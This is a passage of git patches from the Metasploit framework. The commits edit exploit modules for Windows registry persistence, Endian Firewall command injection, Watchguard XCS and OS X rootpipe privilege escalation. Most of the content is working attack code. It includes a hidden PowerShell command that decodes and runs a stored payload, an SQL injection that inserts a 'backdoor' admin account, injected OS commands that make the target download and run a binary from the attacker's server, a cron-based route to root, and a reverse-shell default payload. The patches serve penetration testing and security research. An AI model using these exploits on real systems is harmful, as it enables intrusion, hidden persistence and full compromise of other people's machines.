create_cleanup(root_path, blob_reg_key, cmd_reg) + create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) end end From 26e3ec0a5f6217ad57a5c357e5324d89e2509127 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 17:06:16 +0200 Subject: [PATCH 0150/2172] Add a switch for creating a cleanup rc file --- modules/exploits/windows/local/registry_persistence.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 44df3d9c6e..4e2644915b 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -51,6 +51,8 @@ class Metasploit4 < Msf::Exploit::Local [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), + OptBool.new('CREATE_RC', + [false, 'Create a resource file for cleanup', true]), ], self.class) end @@ -181,7 +183,9 @@ class Metasploit4 < Msf::Exploit::Local print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) - create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) + if datastore['CREATE_RC'] + create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) + end end end From ffe710af2d5243e9d1392ba7ada2195f6c77e28e Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 17:21:12 +0200 Subject: [PATCH 0151/2172] Update registry_persistence.rb Omg spaces --- modules/exploits/windows/local/registry_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 4e2644915b..8cd16956f4 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -30,7 +30,7 @@ class Metasploit4 < Msf::Exploit::Local ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'cmd' ], - 'Targets' => + 'Targets' => [ [ 'Automatic', { } ] ], From 4f72df3202ad54c3ffaf226bdd0aaa25bd5d29c1 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 17:47:08 +0200 Subject: [PATCH 0152/2172] Create a neater powershell command --- modules/exploits/windows/local/registry_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 4e2644915b..a0bc0e1225 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -66,7 +66,7 @@ class Metasploit4 < Msf::Exploit::Local end def generate_cmd(root_path, blob_key_name, blob_key_reg) - cmd = "%COMSPEC% /b /c start /b /min powershell -w hidden -nop -c \"powershell -nop -w hidden -e (Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}')\"" # There might be a better way to do this. + cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end From 4847fb98307738a717728fed4bac34692ab3481d Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 17:47:47 +0200 Subject: [PATCH 0153/2172] Add a neater powershell command --- modules/exploits/windows/local/registry_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 97fc18fb14..a0bc0e1225 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -30,7 +30,7 @@ class Metasploit4 < Msf::Exploit::Local ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'cmd' ], - 'Targets' => + 'Targets' => [ [ 'Automatic', { } ] ], From 56c3102603ac2dc388d42052e715c386185faba1 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 17:51:57 +0200 Subject: [PATCH 0154/2172] That's what you get for making edits on github.com.. --- modules/exploits/windows/local/registry_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index a0bc0e1225..97fc18fb14 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -30,7 +30,7 @@ class Metasploit4 < Msf::Exploit::Local ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'cmd' ], - 'Targets' => + 'Targets' => [ [ 'Automatic', { } ] ], From 6ceb7349721a6bda84a0454f9d9ec0a54ac10cab Mon Sep 17 00:00:00 2001 From: Ben Lincoln <682F048A@beneaththewaves.net> Date: Wed, 1 Jul 2015 09:04:15 -0700 Subject: [PATCH 0155/2172] Replaced standard option TIMEOUT with advanced option HTTPClientTimeout per void-in's request. Added handling for HTTP 404 response condition from server. --- .../exploits/linux/http/efw_chpasswd_exec.rb | 21 +++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 477ed891a4..dfb590d8ec 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -105,9 +105,14 @@ class Metasploit4 < Msf::Exploit::Remote 'Valid password for the proxy user account']), OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 200]), OptString.new('RPATH', [true, - 'Target PATH for binaries used by the CmdStager', '/bin']), - OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 10]) + 'Target PATH for binaries used by the CmdStager', '/bin']) ], self.class) + + register_advanced_options( + [ + OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 10]) + ], self.class) + end def exploit @@ -157,7 +162,7 @@ class Metasploit4 < Msf::Exploit::Remote "https://#{datastore['RHOST']}:#{datastore['RPORT']}" + "#{datastore['TARGETURI']}" - send_request_cgi( + res = send_request_cgi( { 'method' => 'POST', 'uri' => datastore['TARGETURI'], @@ -166,7 +171,15 @@ class Metasploit4 < Msf::Exploit::Remote 'Referer' => refererUrl }, 'data' => data - }, datastore['TIMEOUT']) + }) + + if not res.nil? + if res.code == 404 + fail_with(Failure::Unreachable, + "#{rhost}:#{rport} - Received a 404 HTTP response - " + + "your TARGETURI value is most likely not correct") + end + end end From db721dff8e191497aa6c18b0445eadbd4a1da005 Mon Sep 17 00:00:00 2001 From: Ben Lincoln <682F048A@beneaththewaves.net> Date: Wed, 1 Jul 2015 09:34:11 -0700 Subject: [PATCH 0156/2172] Cleaned up double-negative logic. Decreased default HTTPClientTimeout to 5 seconds. --- modules/exploits/linux/http/efw_chpasswd_exec.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index dfb590d8ec..48255f72b6 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -110,7 +110,7 @@ class Metasploit4 < Msf::Exploit::Remote register_advanced_options( [ - OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 10]) + OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 5]) ], self.class) end @@ -173,12 +173,10 @@ class Metasploit4 < Msf::Exploit::Remote 'data' => data }) - if not res.nil? - if res.code == 404 - fail_with(Failure::Unreachable, - "#{rhost}:#{rport} - Received a 404 HTTP response - " + - "your TARGETURI value is most likely not correct") - end + if res && res.code == 404 + fail_with(Failure::Unreachable, + "#{rhost}:#{rport} - Received a 404 HTTP response - " + + "your TARGETURI value is most likely not correct") end end From 3f5721f5be9791f635c2c358eecd52c9430908f9 Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Thu, 2 Jul 2015 13:06:03 +1200 Subject: [PATCH 0157/2172] Fixed identified issues. --- .../freebsd/http/watchguard_remote_root.rb | 317 ++++++++++-------- 1 file changed, 176 insertions(+), 141 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_remote_root.rb index 15e18790c1..c3e8c87676 100644 --- a/modules/exploits/freebsd/http/watchguard_remote_root.rb +++ b/modules/exploits/freebsd/http/watchguard_remote_root.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -16,145 +16,107 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Watchguard XCS Unauthenticated Remote Root', - 'Description' => %q{ - This module exploits three seperate vulnerabilities found in the Watchguard XCS virtual appliance - to gain a root shell. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert - a valid web user into the appliance database, and login to the web interface as this user. A - vulnerability in the web interface allows the attack to inject operating system commands as the - 'nobody' user. A further vulnerability in the 'FixCorruptMail' script called by root's crontab can then be exploited - to run a command as root within 3 minutes. - }, - 'Author' => - [ + 'Name' => 'Watchguard XCS Unauthenticated Remote Root', + 'Description' => %q{ + This module exploits three seperate vulnerabilities found in the Watchguard XCS virtual appliance + to gain a root shell. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert + a valid web user into the appliance database, and login to the web interface as this user. A + vulnerability in the web interface allows the attack to inject operating system commands as the + 'nobody' user. A further vulnerability in the 'FixCorruptMail' script called by root's crontab can then be exploited + to run a command as root within 3 minutes. + }, + 'Author' => + [ 'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] - ], - 'Platform' => 'bsd', - 'Arch' => ARCH_X86_64, - 'Privileged' => false, - 'Targets' => - [ - [ 'Watchguard XCS 9.2/10.0', { }] - ], - 'DefaultOptions' => - { - 'SSL' => true - }, - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jun 29 2015' - )) + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ], + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Privileged' => false, + 'Targets' => + [ + [ 'Watchguard XCS 9.2/10.0', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 29 2015' + )) register_options( - [ + [ OptString.new('TARGETURI', [true, 'The target URI', '/']), + OptString.new('USERNAME', [true, 'Add web interface user account', 'backdoor']), + OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']), OptBool.new('GETROOT', [false, 'Exploit the root privesc (Takes up to 180 seconds)', true]), Opt::RPORT(443) - ], - self.class - ) - end + ], + self.class + ) + end - def check - #Check to see if the SQLi is exploitable - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), - 'cookie' => "sid=1 AND 1=CAST((select password from sds_users where login='admin' limit 1) as int)" - }) - uri1 = normalize_uri(target_uri.path, '/borderpost/imp/compose.php3') - if res and res.body =~ /invalid input syntax for integer/ - vprint_status("Looks vulnerable to the SQLi issue, probably fully vulnerable") + def check + #Check to see if the SQLi is present + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), + 'cookie' => "sid=1'" + }) + if res and res.body =~ /unterminated quoted string/ return Exploit::CheckCode::Vulnerable - else - vprint_status("**Sad trumpet sound**") - vprint_status(res) + end return Exploit::CheckCode::Safe - end - end + end - def exploit - #Add the backdoor user to db - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), - 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(99, 'backdoor', '0b75e2443d3c813d91ac5b91106a70ad', 0, 'server_admin', 0, 0)--" - }) + def exploit + #Generate the password hash + pwd_clear = datastore['PASSWORD'] + pwd_hash = generate_device_hash(pwd_clear) + username = datastore['USERNAME'] + user_id = rand(999) - if !res or !res.body - fail_with(Failure::Unreachable, "Could not connect to host") + sid_cookie = attempt_login(username, pwd_clear) + unless sid_cookie + vprint_status("Failed to login, attempting to add backdoor user...") + unless add_user(user_id, username, pwd_hash, pwd_clear) + fail_with(Failure::Unknown, "Failed to add user account to database.") + end + sid_cookie = attempt_login(username, pwd_clear) + unless (sid_cookie) + fail_with(Failure::Unknown, "Unable to login with user account.") + end end - if res.body =~ /ERROR: duplicate key value violates unique constraint/ - print_status("Added backdoor user, credentials => backdoor:backdoor") - else - fail_with(Failure::UnexpectedReply, "Unable to add backdoor user") - end - - - #Get the login hash/csrf thing needed to login - get_login_hash = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/login.spl') - }) - - #Find the hash token needed to login - login_hash = '' - get_login_hash.body.each_line do |line| - next if line !~ /name="hash" value="(.*)"/ - login_hash = $1 - end - - sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || '' - - if login_hash == '' || sid_cookie == '' - fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie") - end - - - login_post = { - 'u' => 'backdoor', - 'pwd' => 'backdoor', - 'hash' => login_hash, - 'login' => "Login" - } - - print_status("Logging in with backdoor credentials") - login = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/login.spl'), - 'method' => 'POST', - 'encode_params' => false, - 'cookie' => "sid=#{sid_cookie}", - 'vars_post' => login_post, - 'vars_get' => { - 'f' => 'V', - } - }) - - - if !login or login.body !~ /<title>Loading...<\/title>/ - vprint_status(login.body) - fail_with(Failure::NoAccess, "Authentication failed") - end - - print_status("Successfully logged in") - #Check if cmd injection works test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, "id") - if test_cmd_inj.body !~ /uid=65534/ + unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/ fail_with(Failure::UnexpectedReply, "Could not inject command") end #We have cmd exec, stand up an HTTP server and deliver the payload - print_status("Getting ready to drop binary on appliance") + vprint_status("Getting ready to drop binary on appliance") downfile = rand_text_alpha(8+rand(8)) vprint_status("File name is #{downfile}") + #Generate payload @pl = generate_payload_exe @elf_sent = false + waited = 0 + while (not @pl) + print_status("Waiting for payload to finish generating...") + select(nil,nil,nil,1) + waited += 1 + if (waited > 20) + fail_with(Failure::Unknown, "Unable to generate payload within a reasonable time.") + end + end resource_uri = '/' + downfile @@ -167,10 +129,10 @@ class Metasploit3 < Msf::Exploit::Remote service_url = 'https://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("Starting up our web service on #{service_url} ...") start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri }}) filename = rand_text_alpha_lower(8) @@ -182,12 +144,12 @@ class Metasploit3 < Msf::Exploit::Remote send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, dnld_cmd1) register_file_for_cleanup("/tmp/#{filename}") - #wait for payload download + #Wait for payload to be requested by appliance wait_for_payload #Chmod the shell binary chmod_cmd = "chmod +x /tmp/#{filename}" - print_status("Chmoding payload #{downfile}...") + vprint_status("Chmoding payload #{downfile}...") send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd) if(datastore['GETROOT'] == true) @@ -195,30 +157,98 @@ class Metasploit3 < Msf::Exploit::Remote get_root(sid_cookie,filename) else print_status("GETROOT set to false, setting up a shell as 'nobody'") - - #exec revshell straight away exec_cmd = "/tmp/#{filename}" - print_status("Running payload #{downfile}...") + vprint_status("Running payload #{downfile}...") send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) end end + def attempt_login(username,pwd_clear) + #Attempts to login with the provided user credentials + #Get the login page + get_login_hash = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login.spl') + }) + + unless get_login_hash and get_login_hash.body + fail_with(Failure::Unreachable, "Could not get login page.") + end + + #Find the hash token needed to login + login_hash = '' + get_login_hash.body.each_line do |line| + next if line !~ /name="hash" value="(.*)"/ + login_hash = $1 + end + + sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || '' + if login_hash == '' || sid_cookie == '' + fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie") + end + + login_post = { + 'u' => "#{username}", + 'pwd' => "#{pwd_clear}", + 'hash' => login_hash, + 'login' => "Login" + } + print_status("Attempting to login with provided credentials") + login = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login.spl'), + 'method' => 'POST', + 'encode_params' => false, + 'cookie' => "sid=#{sid_cookie}", + 'vars_post' => login_post, + 'vars_get' => { + 'f' => 'V' + } + }) + + + unless login and login.body =~ /<title>Loading...<\/title>/ + return false + end + + print_status("Successfully logged in") + return sid_cookie + end + + def add_user(user_id, username, pwd_hash, pwd_clear) + #Adds a user to the database using the unauthed SQLi + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), + 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--" + }) + + unless res and res.body + fail_with(Failure::Unreachable, "Could not connect to host") + end + + if res.body =~ /ERROR: duplicate key value violates unique constraint/ + print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}") + else + fail_with(Failure::UnexpectedReply, "Unable to add user to database") + end + return true + end + def get_root(sid_cookie,filename) print_status("Rooting can take up to 3 minutes, if you want quicker access retry with GETROOT => false") #Touch dummy file as part of privesc - touch_cmd="touch /tmp/dummyfile" + dummy_filename = rand_text_alpha_lower(8) + touch_cmd="touch /tmp/#{dummy_filename}" vprint_status("Creating dummy file...") send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, touch_cmd) #Put the shell injection line into badqids - setup_privesc = "echo \"../../../../../../tmp/dummyfile;/tmp/#{filename}\" > /var/tmp/badqids" + setup_privesc = "echo \"../../../../../../tmp/#{dummy_filename};/tmp/#{filename}\" > /var/tmp/badqids" send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, setup_privesc, true) #Need both these files to exploit privesc, delete them once shell opened register_file_for_cleanup("/var/tmp/badqids") - register_file_for_cleanup("/tmp/dummyfile") + register_file_for_cleanup("/tmp/#{dummy_filename}") #Wait for crontab to run vulnerable script print_status("Badqids created, waiting for vulnerable script to be called by crontab...") @@ -227,33 +257,38 @@ class Metasploit3 < Msf::Exploit::Remote end + def generate_device_hash(cleartext_password) + #Generates the specific hashes needed for the XCS + pre_salt = "BorderWare " + post_salt = " some other random (9) stuff" + hash_tmp = Digest::MD5.hexdigest (pre_salt + cleartext_password + post_salt) + final_hash = Digest::MD5.hexdigest (cleartext_password + hash_tmp) + return final_hash + end + def send_cmd_exec(uri,sid_cookie,os_cmd, blocking=false) #This is a handler function that makes HTTP calls to exploit the command injection issue res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "#{uri}"), - 'cookie' => "sid=#{sid_cookie}", - 'encode_params' => true, - 'vars_get' => { - 'f' => 'dnld', - 'id' => ";#{os_cmd}" - } + 'uri' => normalize_uri(target_uri.path, "#{uri}"), + 'cookie' => "sid=#{sid_cookie}", + 'encode_params' => true, + 'vars_get' => { + 'f' => 'dnld', + 'id' => ";#{os_cmd}" + } }) #Handle cmd exec failures if (!res and blocking == false) - fail_with(Failure::Unknown, "Unable to deploy payload") - else - return res + fail_with(Failure::Unknown, "Failed to exploit command injection.") end + + return res end - # Handle incoming requests from the server + #Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("A request came in, but the payload wasn't ready yet!") - return - end print_status("Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) From e355e5653989ce3ab39c1ff985b90905a48a2b03 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Thu, 2 Jul 2015 10:54:44 +0200 Subject: [PATCH 0158/2172] Add check --- .../exploits/windows/local/registry_persistence.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 97fc18fb14..be1c48aec6 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -165,7 +165,18 @@ class Metasploit4 < Msf::Exploit::Local ) end + def check + unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + return Msf::Exploit::CheckCode::Safe + end + return Msf::Exploit::CheckCode::Vulnerable + end + def exploit + unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + print_warning('Warning: PowerShell does not seem to be available, persistence might fail') + end + print_status('Generating payload blob..') blob = generate_payload_blob print_good("Generated payload, #{blob.length} bytes") From 02ace9218b07a16b04f3ae09477479da2c07e550 Mon Sep 17 00:00:00 2001 From: Ben Lincoln <682F048A@beneaththewaves.net> Date: Fri, 3 Jul 2015 13:36:44 -0700 Subject: [PATCH 0159/2172] Added handling for HTTP 401 (Authorization Required) response from target. Added Exploit DB entries to references list. Minor change to description text for clarity. --- .../exploits/linux/http/efw_chpasswd_exec.rb | 23 +++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 48255f72b6..50a2e6dda4 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -31,8 +31,8 @@ class Metasploit4 < Msf::Exploit::Remote Very early versions of Endian Firewall (e.g. 1.1 RC5) require HTTP basic auth credentials as well to exploit this vulnerability. - Use the standard USERNAME and PASSWORD advanced options to specify - these values if required. + Use the USERNAME and PASSWORD advanced options to specify these values + if required. Versions >= 3.0.0 still contain the vulnerable code, but it appears to never be executed due to a bug in the vulnerable CGI script which also @@ -58,7 +58,8 @@ class Metasploit4 < Msf::Exploit::Remote ['CVE', '2015-5082'], ['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'], # ['OSVDB', ''], -# ['EDB', ''], + ['EDB', '37426'], + ['EDB', '37428'], ['URL', 'http://jira.endian.com/browse/COMMUNITY-136'] ], 'Privileged' => false, @@ -173,10 +174,18 @@ class Metasploit4 < Msf::Exploit::Remote 'data' => data }) - if res && res.code == 404 - fail_with(Failure::Unreachable, - "#{rhost}:#{rport} - Received a 404 HTTP response - " + - "your TARGETURI value is most likely not correct") + if res + if res.code == 401 + fail_with(Failure::NoAccess, + "#{rhost}:#{rport} - Received a 401 HTTP response - " + + "specify web admin credentials using the USERNAME " + + "and PASSWORD advanced options to target this host.") + end + if res.code == 404 + fail_with(Failure::Unreachable, + "#{rhost}:#{rport} - Received a 404 HTTP response - " + + "your TARGETURI value is most likely not correct") + end end end From 6e9a477367ec95c4cb8c119101a56e4261a53da4 Mon Sep 17 00:00:00 2001 From: Ben Lincoln <682F048A@beneaththewaves.net> Date: Fri, 3 Jul 2015 13:48:24 -0700 Subject: [PATCH 0160/2172] Removed reference URL for the report to the vendor, as it is no longer valid. --- modules/exploits/linux/http/efw_chpasswd_exec.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 50a2e6dda4..d8aaabe625 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -59,8 +59,11 @@ class Metasploit4 < Msf::Exploit::Remote ['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'], # ['OSVDB', ''], ['EDB', '37426'], - ['EDB', '37428'], - ['URL', 'http://jira.endian.com/browse/COMMUNITY-136'] + ['EDB', '37428'] +# ['URL', 'http://jira.endian.com/browse/COMMUNITY-136'] +# This was the original bug/vulnerability report to the vendor, +# but they have marked the ticket as private, so the URL does not +# return useful information at this time. ], 'Privileged' => false, 'Platform' => %w{ linux }, From 72a1e9ad99e2098fe00e0e73a0d1129b9c133aef Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 5 Jul 2015 18:19:46 -0500 Subject: [PATCH 0161/2172] Add module for rootpipe+entitlements exploit for 10.10.3. --- .../osx/local/rootpipe_entitlements.rb | 158 ++++++++++++++++++ 1 file changed, 158 insertions(+) create mode 100644 modules/exploits/osx/local/rootpipe_entitlements.rb diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb new file mode 100644 index 0000000000..98bb4c91c4 --- /dev/null +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Local + + Rank = GreatRanking + + include Msf::Post::OSX::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation', + 'Description' => %q{ + This module exploits the rootpipe vulnerability and bypasses Apple's initial + fix for the issue by injecting code into a process with the 'admin.writeconfig' + entitlement. + }, + 'Author' => [ + 'Emil Kvarnhammar', # Vulnerability discovery and PoC + 'joev' # Copy/paste monkey + ], + 'References' => [ + ['CVE', '2015-3673'], + ['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/'] + ], + 'DisclosureDate' => 'Jul 1 2015', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'SessionTypes' => ['shell'], + 'Privileged' => true, + 'Targets' => [ + ['Mac OS X 10.9-10.10.3', {}] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'osx/x64/shell_reverse_tcp', + 'PrependSetreuid' => true + } + )) + + register_options([ + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) + ]) + end + + def check + (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + end + + def exploit + print_status("Copying Directory Utility.app") + cmd_exec('cp -R "/System/Library/CoreServices/Applications/Directory Utility.app" /tmp/') + cmd_exec('mkdir -p "/tmp/Directory Utility.app/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS"') + + print_status("Writing bundle plist to `#{plist_file}'") + write_file(plist_file, plist) + + print_status("Writing payload to `#{payload_file}'") + write_file(payload_file, binary_payload) + register_file_for_cleanup(payload_file) + + print_status("Writing malicious shared library to `#{exploit_file}'") + write_file(exploit_file, plugin_exploit) + + print_status("Running Directory Utility.app") + cmd_exec('/bin/sh -c "PAYLOAD_IN='+payload_file+' PAYLOAD_OUT='+root_file+' /tmp/Directory\ Utility.app/Contents/MacOS/Directory\ Utility &"') + + sleep(1) + + print_status("Killing Directory Utility.app") + cmd_exec('killall "Directory Utility"') + + print_status("Deleting Directory Utility.app") + cmd_exec('rm -Rf "/tmp/Directory Utility.app"') + + print_status('Executing payload...') + cmd_exec("/bin/sh -c '#{root_file} &'") + end + + def ver? + Gem::Version.new(get_sysinfo['ProductVersion']).between?( + Gem::Version.new('10.9'), Gem::Version.new('10.10.3') + ) + end + + def admin? + cmd_exec('groups | grep -wq admin && echo true') == 'true' + end + + def sploit + "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}" + end + + def plugin_exploit + File.read(File.join( + Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug' + )) + end + + def binary_payload + Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + end + + def exploit_file + "/tmp/Directory Utility.app/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle" + end + + def plist_file + "/tmp/Directory Utility.app/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist" + end + + def plist + %Q| + <?xml version="1.0" encoding="UTF-8"?> + !DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> + <plist version="1.0"> + <dict> + <key>CFBundleGetInfoString</key> + <string>RootpipeBundle</string> + <key>CFBundleExecutable</key> + <string>RootpipeBundle</string> + <key>CFBundleIdentifier</key> + <string>com.root.pipe</string> + <key>CFBundleName</key> + <string>RootpipeBundle</string> + <key>CFBundleShortVersionString</key> + <string>0.01</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + <key>IFMajorVersion</key> + <integer>0</integer> + <key>IFMinorVersion</key> + <integer>1</integer> + </dict> + </plist> + | + end + + def payload_file + @payload_file ||= + 